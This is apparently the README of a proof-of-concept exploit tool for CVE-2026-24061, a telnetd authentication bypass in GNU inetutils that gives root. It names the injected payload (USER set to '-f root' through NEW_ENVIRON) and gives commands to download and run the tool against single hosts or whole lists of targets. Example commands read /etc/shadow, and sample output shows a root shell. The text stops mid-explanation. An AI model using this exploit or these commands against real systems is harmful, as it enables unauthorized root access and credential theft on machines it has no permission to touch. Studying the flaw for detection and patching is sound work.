
Proof of Concept: CVE-2026-24061 is a critical authentication bypass vulnerability in GNU inetutils-telnetd allowing unauthenticated remote attackers to gain instant root shell access via malicious NEW_ENVIRON telnet option exploitation.
A security research tool for exploiting CVE-2026-24061, a critical remote authentication bypass vulnerability in GNU inetutils-telnetd that allows instant root shell access without authentication.
| Field | Value |
|---|---|
| CVE Identifier | CVE-2026-24061 |
| CVSS v3.1 Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE Classification | CWE-88: Improper Neutralization of Argument Delimiters in a Command |
| Vendor | GNU Project |
| Product | inetutils-telnetd |
| Disclosure Date | January 20, 2026 |
| Patch Available | TBD |
A critical vulnerability exists in GNU inetutils-telnetd through version 2.7 that allows unauthenticated remote attackers to bypass authentication entirely and gain immediate root shell access. The vulnerability is exploited through the NEW_ENVIRON telnet option by injecting a specially crafted USER environment variable with the value "-f root", which bypasses all authentication mechanisms.
| Version Range | Status |
|---|---|
| <= 2.7 | Vulnerable |
| > 2.7 | Patch Status TBD |
The vulnerability originates from improper validation of the USER environment variable in the telnetd NEW_ENVIRON option handler. When processing the NEW_ENVIRON telnet option, the telnetd service fails to sanitize the USER variable value before passing it to the login process. By setting USER to "-f root", the attacker injects command-line arguments that force the authentication to succeed for the root user without requiring credentials.
All dependencies are part of Python's standard library:
| Package | Purpose |
|---|---|
| socket | Network communication |
| select | I/O multiplexing |
| sys | System interaction |
| os | Operating system interface |
| threading | Concurrent target exploitation |
| datetime | Timestamp formatting |
# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Run the exploit
python3 main.py -u <target_ip>
# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Make it executable (Linux/macOS)
chmod +x main.py
# Run the exploit
python3 main.py -u <target_ip>
# Ensure Python 3.7+ is installed
python3 --version
# Download and run
python3 main.py -u <target_ip>
Usage:
python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
echo "commands" | python3 main.py -u <target_ip>
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
Exploit a single telnetd instance:
# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100
# Custom port
python3 main.py -u 192.168.1.100 -p 2323
# Different user
python3 main.py -u 192.168.1.100 -usr admin
Execute commands non-interactively:
# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Exploit multiple targets from a file:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
Target File Format (targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Notes:
| Indicator | Color | Description |
|---|---|---|
[SUCCESS] | Green | Successfully connected to target |
[EXPLOIT] | Green | Exploitation payload sent successfully |
[INFO] | Blue | Informational message about current operation |
[ERROR] | Red | Connection failure, timeout, or exploitation error |
[WARNING] | Yellow | Warning message (not currently used) |
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
The exploit leverages the telnet protocol negotiation phase: